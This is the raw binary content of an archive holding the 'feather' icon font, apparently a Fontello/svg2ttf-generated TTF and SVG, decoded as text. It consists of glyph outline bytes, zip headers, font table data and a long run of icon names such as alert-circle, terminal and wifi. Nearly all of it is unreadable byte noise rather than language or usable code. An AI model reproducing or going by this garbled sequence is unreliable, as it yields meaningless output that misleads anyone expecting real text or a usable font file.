#LB$E;;E$BLxUUU),$6$$6$,)+'3!!.'>73#"3!2654&#!&'"&463!2#i7HH7V7HH7 : 2H6*6HH6V6HC$$V%.'.467>7%>7.'rNNrrNNr,6II66IIVL^^L$L^^L$UI66II66I+&2;%'.'>74>2>7.7>72>4.#>4&"gBASF9  -@ z?D ]BB^ G@ս''$00$$00H00W@G ^B7"&'4&+.4673.'&6>4&"2>4.#?F ]BB^ F?$6H?F ]BB^ Fj$00H00$''$00gABRRABh%%$H6gABRRABh0H00H0),)0H0+$-9%.'"&'.7>7>&7>4&"2>4.#Z[7$?F ]BB] E?zgAARSABh$00H00$''$00WXIgABRR@Bgz?D ]BB^ G0H00H0),)0H0+.>BNZ+"&'4&"+"&5>.'3>732+"&5463'.'>7'2>4.#"$TyZ[xVH76H*=U*7HH76HH6   +++[xx[6II6UUH76HH67HT  $)5A!.'47>3!2'.#!"!!>5%".4>323".4>32H7V7H=%%=(u j u       6II6 %!&&! V+  $  $V.462.462.462$00H00$$00H00$$00H00+0H00H0)0I00I00I00I0.462.462.462$00H00%00I00$00I00+0H00H00H00H00H00H0!*"&463"&5.".4>3"&5.462$   4$$00I00$/  gi\0I00I0X6'%&67%    5ysS q5 s'@%/'&'&'.'47'.>67.6?6.767 " b{A:Wax QJCLdPx U #  " bA (3K_+ x I@:+8Qn-"3 20 $% V!9!.'4?63!2'!!3!265462.'4>2> H66H  @*@VV$x[[x  I66I 7HH7U UUVZyyZ   6HH&>2.6?"&463!2# "   U ! " $$+&+09B%".7!".7#"&5467!32#5!!35'264&"!264&"SeTTeS9 +Ug$$7$$F$$7$$1bCCb11bCCb1+ +g+$7$$7$$7$$7$ 3F .>"'&7!".6?!7.?6.?"&46;2.?  " 5%  };_ " h5   h " -( V "  !%  :s"}!   ;$  |"6"DVY'"'&'.'&47>7676.'&7>7>764.54>2/ <*2~E@2)<  <*2~E@4*;H&V>}|D}U%V>}|D}U   ktxuu*>  <,tx*>  => mh k    %B#* 1< +C n *       V &] Created by iconfont featherRegularfeatherfeatherVersion 1.0featherGenerated by svg2ttf from Fontello project.http://fontello.com Created by iconfont featherRegularfeatherfeatherVersion 1.0featherGenerated by svg2ttf from Fontello project.http://fontello.com       !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~     x alert-octagon alert-circleactivityalert-triangle align-centerairplay align-justify align-left align-rightarrow-down-leftarrow-down-rightanchoraperture arrow-left arrow-right arrow-down arrow-up-leftarrow-up-rightarrow-upaward bar-chartat-sign bar-chart-battery-chargingbell-offbattery bluetoothbellbook briefcase camera-offcalendarbookmarkboxcamera check-circlecheck check-squarecast chevron-down chevron-left chevron-right chevron-up chevrons-downchevrons-right chevrons-up chevrons-leftcircle clipboardchromeclockcloud-lightning cloud-drizzle cloud-rain cloud-offcodepen cloud-snowcompasscopycorner-down-rightcorner-down-leftcorner-left-downcorner-left-upcorner-up-leftcorner-up-rightcorner-right-downcorner-right-upcpu credit-card crosshairdiscdeletedownload-clouddownloaddropletedit-editedit-1 external-linkeyefeatherfacebook file-minuseye-off fast-forward file-textfilmfile file-plusfolderfilterflagglobegridhearthomegithubimageinboxlayersinfo instagramlayoutlink- life-buoylinklog-inlistlocklog-outloadermail maximize-mapmap-pinmenumessage-circlemessage-square minimize-mic-off minus-circlemic minus-squareminusmoonmonitor more-verticalmore-horizontalmovemusic navigation- navigationoctagonpackage pause-circlepausepercent phone-callphone-forwarded phone-missed phone-offphone-incomingphonephone-outgoing pie-chart play-circleplay plus-square plus-circlepluspocketprinterpowerradiorepeat refresh-ccwrewind rotate-ccw refresh-cw rotate-cwsavesearchserverscissorsshare-shareshieldsettings skip-backshufflesidebar skip-forwardslackslash smartphonesquarespeakerstar stop-circlesunsunrisetablettagsunsettarget thermometer thumbs-up thumbs-down toggle-left toggle-righttrash-trash trending-up trending-downtriangletypetwitteruploadumbrella upload-cloudunlock user-check user-minus user-plususer-xuserusers video-offvideo voicemailvolume-xvolume-volume-1volumewatchwifix-squarewindxx-circlezapzoom-inzoom-outcommandcloudhash headphones underlineitalicboldcrop help-circle paperclip shopping-carttvwifi-offminimizemaximizegitlabslidersstar-onheart-onarchivearrow-down-circlearrow-up-circlearrow-left-circlearrow-right-circlebar-chart-line-bar-chart-line book-opencodedatabase dollar-sign folder-plusgift folder-minus git-commit git-branchgit-pull-request git-mergelinkedin hard-drivemore-vertical-more-horizontal-rsssend shield-off shopping-bagterminaltruckzap-offyoutubePKZLXCCfonts/feather/feather.svgnu[ Created by iconfont PKZU\jfonts/feather/feather.ttfnu[ 0GSUB8BOS/2WKC|VcmaptPmXglyf<ʜheadM6hhea$hmtxHHlocant&maxp+ name8apostϸc5 D\'_< X'  ,DFLTliga2PfEd@x*\,|v, |Jx*x  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      xx !!"" ## $$ %% && ''(())**++,,--..//00112233445566778899 ::!;;"<<#==$>>%??&@@'AA(BB)CC*DD+EE,FF-GG.HH/II0JJ1KK2LL3MM4NN5OO6PP7QQ8RR9SS:TT;UU<VV=WW>XX?YY@ZZA[[B\\C]]D^^E__F``GaaHbbIccJddKeeLffMggNhhOiiPjjQkkRllSmmTnnUooVppWqqXrrYssZtt[uu\vv]ww^xx_yy`zza{{b||c}}d~~efghijklmnopqrstuvwxyz{|}~  !!"" ## $$ %% && ''(())**v*bp`.Fz8fz  ` v  l > f F l PT, vNV&n<(jtDz@h <" h !"""~"#:##$Z$%J%&&b&'T'((N(()<)t)**+P+++,D,-,-..J.v.//V//01h2234455n556H6t67@78.89"9j9:@::;*;<<<=,=x>??~??@v@@A6ABBVCCDDhE EEFJFGGhGH\HHIIdIJ4J|K KbKL>LM4MN"NOOZOP P|PQJQRRRS(SfST TTU2UUVVHVWWbWX0XYJYZZZ[[R[[\P\\]$]]^^|^_^__`T`aabbBbrbbcTccdLdeN(1DP+"!'4.+!'#'!#".="264&3!26'.'54>;2S% 'J#>-I,?2 w m  ) 'LY a4n%  ?|  #$w  &V -9!7'!'!2#!"/&54?6#2>4."2675.">b  +   $$>U  b   JV #$1&'67'>7.'2675."#2>4."  ǣ٣x$$*+   U  P٣٣'   +&"#3>7273>4&'# 8 wX 8 wX $zb$/+7>2!.67!>'&"#2>4."2675.":D:i#:#-#9#J  0 $+   $$!!C<""=C+*)[   J %1!"3!264&7!!>4&!"3!264&!!>4&   n  $$$$$$$++.>7#.5463!2#";>7.'!3264&3!".6762***7HH7V7HH7*z[V   (  U$I66HH6U6I$V   %1!"3!264&'!!>4&!"3!264&!!>4&     $$$$$$$ %1!"3!264&7!!>4&!"3!264&!!>4&   UU  $$$$$$$ %1!"3!264&'!!>4&!"3!264&!!>4&   UU  $$$$$$$- 27>.4."!>4&'! "  A   "    $+ 264'&"!>7." " "$b "  "<$V&3<%>7#.4673&'4673#>2".4>3'>4&"+SS$+.N//N.I``I$00H00$ $)+-QZP-`HI`S0I00I0`$*17<A.'&546767>/7!>7/#37674'#3%!.3&/*L}4&-,L}_+N3_1JJJm'꾬(\_N7_X+RuY`N;da vVcK=da YAUE4&%>.>&/UVb $$ "  !>4&'!2764'&"V !  ! U$$ "  "  " + 267.".2764&"$$  "  " Vb  ! + %&"264>4&'!267 "  "$ " "$U- %>.2%267.'!!  "$Ub "$+ %."26264'&"2?+$$ " " " +V !  ! f#/.7>7"/".7762'"7>7.'1X?#%pp%#?X1     =BmmmEjj||jjE ss >RRVmllm+'+;3'3#.'>3'32#.5463#'32#.546+UVUU+VV+U+UUm7C2675.'&7>$'&76$&''.7>>7.'0I0>;7hkm  ƒCGMAlg!6DC1NM`6II66II+$00$+!oz|YUQ chm7#)+8X##-:(*KIJ sI66II66I+'+;3'3#.5463'32#.'>3#'32#.546VUUU+VV+U+UU7C_7#"&'>;>4&'#3>4&32+3>7.'#54&"2667>.+7>.;U6II6UU7HH7U$$] !      V$H66H$$H6V6H$VV!     1ES626=4.25676.!264&#!6"&'.2676. >'.7  JS$0K%&  !""! U " #/3!2654&#!"4>3!#!.'%54&"26UVV$/V6H$/7H$$*T/$H7/$H7VVy%%7''%&462&'>.67+ ! 11 + 4Re! +"  "+ 3V !55.'!&!&47>75>7"&'.2676.mm.**#22#*P ! :F: !+mm0&(}K2#Ց#2Kp  !""! V 2#!.'>7!63!!U?TT?$!$$UU??U+$U$6$+'+5?5>7332!".5>7#;!332654&'%!54&+"+H77H/$H6T/$H6UU*+6HH6+$/V7H$/6HUVU++2P /!.'4>;'.>&'.7'#"3!/322654.+'&#!";I " I6H$/EB?<9roǵ#%` $%.H  " IH6/$C9=?Br+Ǵ'`%#r/$m%V!+G!54623!.'>7354>2!3!265".=#!54&'#"&=$V6HH66HH6V  VV+  VV$++H76HH6V7H+   +   +++V+ "%4&#!"762.5>7!&'%V   H77H  SX  6HH6U  v$+"'%.5467%62-& %>5%9U!&&!<!%&!U<K= U h=%i%< =%%=d E_ z +/;G#"3!267.+&/#!.'>73767!.'>7'>7.'N  I6II66II6I  I[xx[[xx[6II66IIh*m*H6*6HH66HmmyZ[xx[ZySH67HH76Hl%8&'&67>>.'&7>754&"%&"27>.|}HESVw   ieTY$ " "  I('#Vlnda73?CxzІj+/( !  I.27>. "  Is   I-6&"27>.%#!"&5463!>4&'!!>74&"s ! " HV+7HH7U6I$ !  IV$H66HH6+#IJW7>'.'&7>'.'&75467!!"3!>7.'!2>#2>4."M3G $kLy  Θ  ;7HH7V7H  +*   G3Mj#y      U$I66II6U     --&"27>. "  "   "  >.264/   " b " " %2764'&"b "  " "  "  " ++%264'&"2? " " " "  " %.2?6.&"2?>.I " " " " s  "  "  +!%?64/&?64/& " "  " " " " " " " " !>/&"?2>/&"27 " " " " " "  " " շ " " -%>.>/%>.>4/  "   " 7 " "  " " V &'67'>7.'  ǣ٣U  P٣٣V/7>7!3!.'>7#3!267.'#!.70101!5+0$$0+6II66II6+++0$#2U$00$I67HH7U6IUU$12xUUV ,;F"'&'46767>3"'7&'>'#'?6.6>3!.'"/*Cp:&-_Cs ([d!IGYI8C9`iA?6aUSN;YbVc[=; PZ!ZVA$@2,)W<:V*  \7.'."264/  ǣ٣$ " sU  P٣٣| " t},F>&'.7>7;7>'.'#.67>.+76.;$et! ZOhh5D^LBcq e+J "   ~ !   C 4fdzzdUCCf#eduD!  "    #/;Gs%26=4&"526=4&"26=4&"'26=4&"2675."'2675."&>&'.7>;7>'.'#.+%%%%U$$$$$$$$A0,Ab!L2"%dc6>[69  TQ])UUUUUUUUUUUUUmwxQ ! ?^\gx`Kyi ! &[[oo  #O2654&"2654&"267."&>&'.7>;7>'.'#.$$%%$$A0,Ab!L2"%dc6>[69  TQ])UUUgUmwxQ ! ?^\gx`Kyi ! &[[oo:H&32676.'#.3!27>.#!"&'&67>.'>'.`5,J0 ! GpA&ud %̆}-* iN[ " " U# x](HU( <l<l$D샂! yee5 ! _U " V"&*- "'&54762?77'5'%5'7'U  U 7͉V `>w3``N   * y`xx`aaaCC`xȰxCC [+,9:GHUVcdqr&>&'.7>;7>'.'#.#2>4."#2>4."'#2>4."#2>4."#2>4."7#2>4."#2>4."0,Ab! M2"%cc6>[68 TQ])+   +   *   **   +   +   ++   UwwR ! ?]\hy`Jzh! '\Zpo   a   J      a   J      V -&'67'>7.'?.767%6  ǣ٣j88lZ Z U  P٣٣86Z ZV'K3!2654&#!"4>3!2#!".5#"&5463!22675.'!3>4&V$//$$//$*$H67HH7*/$$//$$/**7HH76H$(%?64/&3!>4&'!.'4."b " " g =N*6H  I " " " +N.>&/!!2>54&"   DH6*N= $ " 7H$!3!264& " " +N&/&"2?!.'4."3!264&7 " " 7H  !.>&/4.#!"3!26    =N*   6H$ " +*+N3!>4&'!"26b " " $/*N= $I " " " +*/$$!&/&"6?!2>5."!"7 " +*+N7.'!>7!!.'%35#'!!.'>4>2".5%>2"&'>2"&'%>2"&'.4673"&46;2#%".4>;2#"&46;2#VH77HH77H++   $$$$$$V     7HH77HH7V+     V*$$$$   $$'4>3!#!.'5.'!!!>5%.7H%.7HV.%I6.%I6UV'3%5>2>7#.4673.'"&'53#&'67$~~$~~  ~~$~~$i  V $-&'67'>7.'7.4>7'>4&"  ǣ٣٣.N//N.I``I$00H00U  P٣٣-PZP-`II`T0H00H0*6!"'&4763>7.'! 27>.264'&"6II6 * +y "   " "I66IU UU " E "  " J%'.2?64&"'2654&"&>'.7>;7>'.'#. " " %%*y97P " =+-^^59X##.!E4V&  "  mkl\ "GUSU w[@mg" ! 2QQaiV.:7!>75."#!"&=."%'.2?64&"267."UH6V6H$$ " ! $$7HH7U  " V+ 2676&/7.'&6?62-@#"%$""AR-,/wv/,-S "@USaaSU@YRmk}}kmS +73'7#.'56762  + "ęZ "  + V%*<#!"&546732>4.+!>754&"%3'7+"&=4762+   7HH7U6I$Unn U   "U  I67HH7Mnn[ " U   V"3'7+"&'56762!264&#!"no +   "Don[ " +   V$$-#4B#!"&5463!>4&'!!>7."267.'!>.*6HH66H$$ + "U$H6*6HH6n$8 + "/<E26767&'."'6767>2"&'&'&'&.4>7'>4&"n%1FF<--.62#3tt  \\WW Yi*Prm* ! FV+ttY  XX\\ i)nqQ* ! U.V(H>732#32++"&5#"&=46;#+32346;7#"&=4673m*UUUUUI`VVV_t2#UUmU!+`IV+V#2V&2!"3!267#"&5732!.'>7.467!+Un  I66II6Vo 7HH77H$$#BZh>.>7>..'&'667676&'&'.'"7632.67>.676. >'.!Gr* (8PlL<  2t>XE=,K " 8) +5Ql21 ((XF<-",.!  " "A\X! " " U[ ! 6N&'?'%.54>'%E   `   `4  V   * "Zy  V   * "ZV&2>L!"3!267#"&5732!.'>72#!"&4632#!"&463#".4>3+Un  I66II6VVV   Vo 7HH77H+$$$$V$  V#'.5<C>7!!.'!!!%5##3%35'35#%35.'#3>7#35#+M99MM9d9M*VV+2NN9MM9d9MM9UUVVVՀNNNV#&2!.'>7!"3!267!.73+ * I66II6UU +7HH77HV֙V&B!"3!267#"&5732!.'>7#.46735>23#"&'+Un  I66II6UU$UU$Vo 7HH77H$UU$U+'"3!2654&#!&/!.'>73 I7HH7V7HH7 Im*H6*6HH6V6Hm+ .>3!2/.547  V  (  V ]  y U  +' MV)A4767636367676#&'.#"&636?#&'.#6 &:[,Q>7C!K*1 &:[,Q>7C!K* $,Q>7C!K* 5K,Q>7C!K* 5++   [V  '.5&'67>7!#.3.%3>>75.'   :1uu1:-1:u: ?66? ?66? U  XJ!xx!JJXx!!xXWFFWVWFFW+'+;?O35#'!#!"&'>35#'!#!"&54635#'!2!.54635#'!2!.'>++++=++h++V+V+U+U+6*>"'&47627>.#""/&"=\)( " RRUV.-*.^<&F- " -<;88[7!3#f  H66HU"* +7HH7 @U[~%&/.'&7>.4&'6&'&'&#&&"."2675&7>.'.5467>'&776276?26=6'>tCL &  0{^ ; Y;FF;Y x$ yt  )>DD>) ux   $x~T*#>'#.W%*U(&&(U*%X/(*0  t%C  24 )  ) 42  C%t  ))&+!(5>1.'>7!4&#!"62'!265".4>3'264&"6HH6V6HH6*  " 11-<<-  +H6V6HH66HD V283<.-.#!"337675#+"/#!>7&?H7V7H?Xy n y H~H տH  H)# 6II6 M#)  mmmmZ%56'%.467-&7%>.&7%>. UU sKKh  hh  hQ  &      V #$1&'67'>7.'75."26#2>4."  ǣ٣$$*+   U  P٣٣ѫh   V#0<=J!>74.#!">7!!.'%.7>7&'&6767#2>4."`HH`0>"T">0UlllTlU*BC7 R65=N fYZ eZZ*   VTH``H">00>"llTll#6 ,@#5= RBZ eZZ f   + '>7!!.'54&#!"!!265#3UH6V6HH66HV6HH66HH6րVV*5A3#";>7.'#"#.'>732>4.+3264&'!>4&'!I``ImmI``I   mm=V+`II`$mm$`II`  mm$$$V  *6B%267'"'7&567'637.">4&&'67>7.'4zz4z66z#"z)+,dz6@B4z4zzz""z)++  6II66IIT)++)z##>z6@B4z4zBDzz#"z)++ez44z4zzo  PI66II66Ib'M6?>.6?6.'.7.6?6."&'.?>>'!aph(2%$`1JJ5410EKA " !aph(2%$`1I " I4410EKA " <-5''1a#$2J I0245#!-5''1a#$2J " I0245#!V,83>7.'#";2+"2?64/&"7!!>4&U6HH6 ! ! <UH77H$V$H ! " ! +$$  #$-.78A!>4&'!!>4&'!!>4&'!#264&"#264&"#264&"U++++$$*+$$*+$$U$$$$$$*$$$V,55>73#!.'4>33!2654&'!"7!5.'mm+6H$.6H$.*VV`II`ՀmmH6/$H6,/$,nI``IV,8!#"&546;264&+3264&72?64/&"7!!>4&6HH6 ! ! <$H7V7H$ ! " ! +$$V #/;GSc2675."2675."264/&"264/&"%3>4&'#3>4&'#764&"27>.6$$$$y " x!x! y "ʫx " y !y x +Cx " y !y !x "$$$$y " x!x y&!!.'>.'!%"'%!>57HH7V7HH V {  I66II66Il  R-!1=267.'!."!>4&'# 67>. 64&"2U$+$+ 4+ ! "$+$++ ! "[#'%7%6%62'%".5467%7U@    fMzHn   U     5.'67"/&'.'>7%".4>3'>4&"!DZXXZN@ HXG  GXdllҔ-PZQ-`IH`S0I00I0 #!>4&'!7!>4&'!!>4&'!U$$$$$$+0%63>76=.'#"%"'.?&76;fDK]*" {KDR^"76tWO K@jV_ z"^RDK} "*]KDhw#L (N+ ՟_+ %63!>54&#!"&'>7!!  1H6V6HH6 6HH6U6I-!1=%2654&#!";4&"3!264&+>.6 64&"2$$ + 3+ ! "+$$I+ 3+ ! " #:Qco{>'.6764&".=4&"5.'&67>26.'54&"676."7>76=4&"2675."!264&#!"  " UQ9ac& " 21$UUCCf#3C+$ 8T$qacK "<$$$U7U " 5T(% "  *!C_KB!&/"87.'!>4&'!  ǣ٣VU  P٣٣Q$$V 6BN.'>7'2674&.'54.">754&"2675."!264&#!"`II``II`#20H02mm  $$$VI``IUI`` 2#$00$U#2UmmU   UUn$$+!-3!2654&#!">7!!".5!>4&'!VVH6V6HH6.$VV6HH66H$.$$V !>4&'!VU$$,#.767&%'.'&67676G*!qz xy+_ ٬9DFO,\I_+yx zq!*D 箭,PFD9+#3%3!.46735!".5>7!2!>54&#!"+/$H6/$H6*TU$$U$/7H$/V6H*VV #/;G.'>7'2>4.#7.'>7'2>4.#".'>7'2>4.#"6II66II6   6II66II6   6II66II6   I66II66IT  $H67HH76HT  $H76HH67HT  $ #/;G.'>7'2>4.#.'>7'2>4.#.'>7'2>4.#6II66II6   g6HH67HH7   h7HH76HH6   I66II66IT  $VI66II66IT  $VI66II66IT  $V#6GS_6.">&/>4/&"?.2?64.2?64/&"!>4&'!267." "  a " " " bb " " b " " aV$$ " " b " " a  " a " " " b+$$V-!,7#.'>73>7%6#.'>73#";265%#";265H6V6HH6H6V6HH6VV6HH67HU7HH76H$$\+%76&762'%&*+ 6 +*4q qQ+ #+# 2 .76&' 8*' 7 OT S5 7 '<V!7'!'!2#!"/&54?6>b  >U  b v%,0"'%.5467%62%&%>5%79U!&&!<!%&!U<-cK= U vKvh=%i%< =%%= 1 L__ z -;;V #/&'67'>7.'74&"2674&"26  ǣ٣x$$$$U  P٣٣+'3'32+"&'>3'32+"&546+UUVUVUVUV ".: 27>..'>7'264&".'>7'2>4.#" ! V?TT?@TT@$$7$$@TT@?TT?$$ ! VT@?TT?@TT$7$$7$T?@TT@?TS"$7$W)Ugy%'.'.'.'&>;7>#4&'&'&'.'&6?>'&'.+"65.>.'.'.>&'.)3hWR39F $11G&b<H#691=UC?  7  U1 6   ?3/{JO]Nl H1   $1% E94RXh3(=195$H;c& G2 7 1U  6  >C_PJz/3? S#lN  4H  Ηy~UJt6?64/&"!>4&'!4&'&'&'.'&6?>'&'.+"673'.'.'.'&>;7>  " UC?  6  V1 6   ?4/{JP^U)3hXR4:F %11G &c<H$6:1=  " ! +$$+7 1V  6  ?B_PJ{/3? 2% F84RYi3(=196$H.>'&"4&'&'&'.'&6?>'&'.+"673'.'.'.'&>;7>  " !C?  6  V1 6   ?4/{JP^U)3hXR4:F %11G &c<H$6:1=I D "  !g7 1V  6  ?B_PJ{/3? 2% F84RYi3(=196$H'.'&'.>=.'&'&&%.'&6732?>'&'.'#"> 7>. FU  6  ?B]OI>DQXh3(=096$H;3?   6 " 6 G11$ F9 !U " fF0 6   ?3/=D49E %11G %@P^B?  6 " 6H$681=(3hX!V " ~X Lv4&"!>4&'#67>.4&'&'&'.'&6?>'&'.+"673'.'.'.'&>;7>$* ?C?  6  V1 6   ?4/{JP^U)3hXR4:F %11G &c<H$6:1=$ +07 1V  6  ?B_PJ{/3? 2% F84RYi3(=196$H'&'.+6?'.'.'.'&>;27>C?  6  V1 6   ?4/{JP^U)3hXR4:F %11G &c<H$6:1=  6 1V  6  ?B_PJ{/3? 1% E94RXh2)>195$H;c& H2~X Lv2654&#!"3>.64&'&'&'.'&6?>'&'.+"65'.'.'.'&>;7>$ * C?  7  U1 6   ?3/{JO]U)3hXR4:F %11G &c<H$6:1=$+ 7 1U  6  >C_PJz/3? 2% F84RYi3(=196$H.$76.7!.'>32'.'!.b6ڄ{x  ܟ A lU^G/uAS8y~7" B G.8AuV *&'67'>7.'7/.54>  ǣ٣x  U  P٣٣![[s .   V  V,% '.54>$V  N22r .     +!-93!2654&#!">7!!".5267."!>4&'!VVH6V6HH6.$$$VV6HH66H$.V$$V #/&'67'>7.'267."!>4&'!  ǣ٣x$$VU  P٣٣'V$$V 267."!>4&'!$$VV$$+4>74&#!"%.5>7.2?>.٣V7H^GH7 " ؤnH6F_6H   V9=M!5!>3!23#.467326=4&#!";#.'5>7!!'!2#!"&'>+VV*7HH7UUVUU7HH7V++H66H$$H66HUVV+ '&7>. 76'.%267."ddiidd}}T}}$$Gjiddij}}TU +AUg.'>7'2>4.#727>4&'&".46764&">&676'.&76.">&6II66II6     " *--* "  " *--*qqqq " I66II66IT  $MVN " *mxm* "MVN " *mxm*vv vv2v! ~(;Q6?64/&5>7!>4&#!"2664.>&/!"!2>=4&" ! gH7U+N< $ ! H7U+N< $ " " U7H$ >.'.6?>.U$V%&O "?" ?"&P "$+$i1&% &47>&     Sy* * *   * * *   ::4."3!264&+7>76&'&6?>&'.  3瑑#r~i Sge[tt(   $ HE'eQ 7:rq {n 8!7M"3!2654&"3264&#!"265>>&/.6>76.&/&%$i?" P١&"P٢%"?"$$Ts'0? " N<1i պN<1i Ts'0? ":4"3!2654&"'.'&676>&/&$676.$i(tt[efS" gr#ԑ3"$m{ rq:6Q " e'DI  +$(:!2#!"&=#";463!23265'!!.'>7!U++++6HH6 HՀ$*ļVVH6V6H *6H/%"/$'&76$>7.' " vd` fjqlvvv " Ylqjf `dvvvvV#3GHUVc3!26=4&#!>7!2!".53!26=4&#!>7!2!".5%#2>4."#2>4."TUH6/$H6T/$UTUH6/$H6T/$+   ++   ժ7H$/7H$/7H$/7H$/U      + #,BN.'>7'2>4.#.'>7'>4&"'&4626.67&462'+I``IHaaH''%00%I``IHaaH$00I00 " 7 "  " " `II``II`T),)0H0`II``II`T0H00H0T! 7 "   " " V "+8AQ]".4>3'>4&".4>7'>4&"".4>3'>4&".4>2&'6.67.N//N.I``I$00H00$.N//N.I``I$00H00$.N//N.I``I$00H00}  #  ! ! -QZP-`HI`S0I00I0-PZP-`II`T0H00H0-PZQ-`IH`S0I00I0   !  ! V,8!>74&"#!"&'4&"%264/&"2?'267."I66I$$ ! " ! +$$7HH7UU " " =+W+'&'&'.'467%6'67>7%6A:WaV VaW:A;5JQQJCLQ (3K_UUU_K3(Z%.@I4KKI@:+ %.4>7'>4&"'.#";6?>26=>>&/.>;>4&'#"&/5&6?64&".=."#&3#&/..'6&'&.6?>'&'#.'>7676/&4762?6=>7?62.N//N.I``I$00H00 8$#7  B!(%$@C 7"#7  "B@%$%>Q6II6 /DAH76H  AC06II6  %%(f(  I66I! 'g'&& -PZP-`II`T0H00H0| B!(%$@C 8$#7  C@$$%> "  8"#7 I66I! AC06II6  /DAH76H  'g'&& 6II6 %%(f(  V  &47>&%4."26<U    $}zV ( V  V  SV   -/;I2675.'#3 >.%3>75."'264'&">&/&U$t + "$ " "7 "+$8 + "+$ "  "  "+#>7!!.'#";!2654&#UH6V6HH66HV6HH66HH6VVV-'.54>2654&"<U  $$z (     SVX' #/;G$&%6.7>>'.>'.%7%>.7%>.PJP>yF?y%"#Ø""E  3E   JPJPxF?yF?ZD  VD  ""ϙ##V &'677 6'&$  )[hm[hmU  xmhxmhVV#$13!2654&#!"4>3!#!.'%#2>4."VU%.6I%.V6IU+   T/$H6T/$H6V   +!3!2654&#!">7!!".5VVH6V6HH6.$V6HH66H$.V -9F3!267.#!">7!!.'#2>4.".'>7'2>4.'VI66II66I+   +[xx[[xx[#:##:#6IIT6HH6T6HH6V   x[ZyyZ[xS"2/.7'.>7% ї$$ ^&z  /   /   b bt (   (V +&'67'>7.'35'!!.'>  ǣ٣NU  P٣٣ѪV  #/;GS_k{%.'>7'>7.'2675."2675."264/&"264/&"%3>4&'#3>4&'#764&"27>.6mmmmI``II``$$$$<! = "g= " <!FUUgUUd= !< "i<=mmmmR`II``II`~UUUU= !< "< " = !$$$$<! = "g=< V!1=IWct%.'265>726267.">&/.3>4&'#3>4&'#7>.2!"3!264&264/&"2?mm$`II`$$$< =cUUgUU@<= !V ! " ! mmI``I+q= <$$$$=<!$$b " " V -%.#!"3!267!.'>7!#2>4."+VI66II66I+   *T6HH66HH6   V , !2764"&'&5463!2#2>4."J_ # 0 0.3.  l%+   _ / "kk  'e   V!1=IWcv%.'265>726."26>&/.3>4&'#3>4&'#7>.2!"3!264&&"2?>.mm$`II`$$$l< =cUUgUU@<= !V ! " mmI``I+@= <$$$$=<!$$ ! V #/;G&'67'>7.'7.'>7'>7.'7.'>7'2>4.#  ǣ٣٣[xx[[xx[6II66II6   U  P٣٣QRx[[xx[[xSI66II66IT  $~&%.67>7'."2>&'&u{6&:T@?T7($7$* MeM )'JYQ2?TT?5/F$$ Za99aZ V*4D2#!"&'47>32676&+.'54&'#";#.'>732R3&<H1 Ib;!WVV+8II8++50<  aH+ ^UH7*7H*V+5G7".7>3!2#.'5#";3267.+'32+"&'>3&< G1 Ja:<!VI I+s7P O7t+50<*  aH+,[$UD67C,5!2>5.'!">7!!..4>7'>4&"UmV3]I'm3^H'UVQ.N..N.I``I%00I00m'I]3m'I]3-PZP-`II`T0H00H0,5!2>5.'!">7!!..4>7'>4&"UmV3]I'm3^H'UV/N..N/HaaH$00I00m'I]3m'I]3-PZP-`II`T0H00H0V )GS_!>4&'!%#!"&54."!>74&"546;226=.'#2>2654&"2654&"V  H77H$$H77H  $$$$U$$*U   7HH7UUUU7HH7U  V )G!>4&'!%#!"&54."!>74&"546;226=.'#2>V  H77H$$H77H  U$$*U   7HH7UUUU7HH7U  (&"2727>.%2654&'!3 " " " "  k$ " "  Y$&&"2?2>'&"!>54&"I " @ " w " k " j$ " "  $/>2!.67!>'&":D:i#:",#9#J  0 !!C<""=C+*)[#/!26=4&#!"2>5!264&#!"267."V$V  g$$V   $$VY%J6%&677&'&6767>>766&'.&'4'&767->"mc+ 6]QE>243  YY3iI gUGSz  \F |ȫ;-XGF+  MZKv,m $"L0*MJ7n4Ck& /0="+5"&'.?62&'>2!.'5>23!265+$ " " $H66H$Vg "  6HH6V!(2>5>2.'!.767!.+),)$`II`V+"H"U''HaaH 5L]%264/&"2?'267."&>&'.7>37>'.'#.264/&"2? ! " !+$$*y:6O=*-^^676&'.!#!.'4>33!2654&'!"ef#gDDV6H$.6H$.*VՀe qcBL^DH6/$H6,/$,++7J!54.#!"26=>7!26.'>7'>7.'&"2?>. =M+*N= $H6+6I$[xx[ZyyZ6HH67HH ! V " U+N7!26.'>7'>7.'!"3!264& =M+*N= $H6+6I$[xx[ZyyZ6HH67HHU+N7!26.'>7'>7.'%2654&"!"3!264& =M+*N= $H6+6I$[xx[ZyyZ6HH67HH$$U+N7!26.'>7'>7.'%2>/&"72?>. =M+*N= $H6+6I$[xx[ZyyZ6HH67HH " " " U+N7!26.'>7'>7.' =N**N= $H6V6H$[xx[[xx[6II66IIU+N7!26.'>7'>7.'5.'&267>7.'& =N**N= $H6V6H$[xx[[xx[6II66IIWH  +4$+55+ HXXH U+N=4&"'54.+;?2654.%>'.*VV/$H6/$$;8+ $/ *  $ G " U*$%.V7H$/*+.%$ *    U " "6>&'%&47%3!>54&#!>7!2!".5   b*VH7/$H6*/$x  V   , #SV6I%.V6I%. %1.7>!.'&676#>7.'>7.'`425LLF~TT~FLL524?TT?@TTj@TT@?TTBCB%"&SRddRS&"%BCBT?@TT@?TT?@TT@?T-9>&/#.54673+3227>.2>'&"   ʜ*   !   " !   L s4 " E "  "V3>&/#.54673+326764'.   ʛ*  22 JJ    L sY54 OO 3G>&/#.54673+32%676'.6764'.   ʜ*  dqq22KK   L s=vv v54 OO >&/#.54673+32   ʛ*     L sV (D`%.'>7'>4.'"/&'5>2>#./&>3>7.?>73&/.'#FtFFtFm3 " @ $l$G33H$$G23G$+RCyyCmm}n4 " @ 2AA2d2AA2#34A6 >&'& 6'6 >&'& 662>&'&"#2>4."{,{! ս" 499!PP!+   Hcc ! ww " '' ! 88 !y   +!-;3!2654&#!">7!!".5 264'&"%27>.VVH6V6HH6.$  " " "  V6HH66H$. "  "/ " 7S>#!"3!>.2>.'!"3!2&'.>#!!>.6     -C MT !Q TM C-   )' "4N&Za&   3VN,  " ,NV3$ '+$.264'&" "   " " " E "  "V %1&'67'>7.' 27>.264'&"  ǣ٣ "   " "U  P٣٣ " E "  "^!".676!2&7'!2!"&?  5%P  U5%%  !  !%UK?".:%.'&676"/'>4.#2654&"!264&#!"Չ!q{}XST " 3{BRQQRU$$V+>9:jmm " 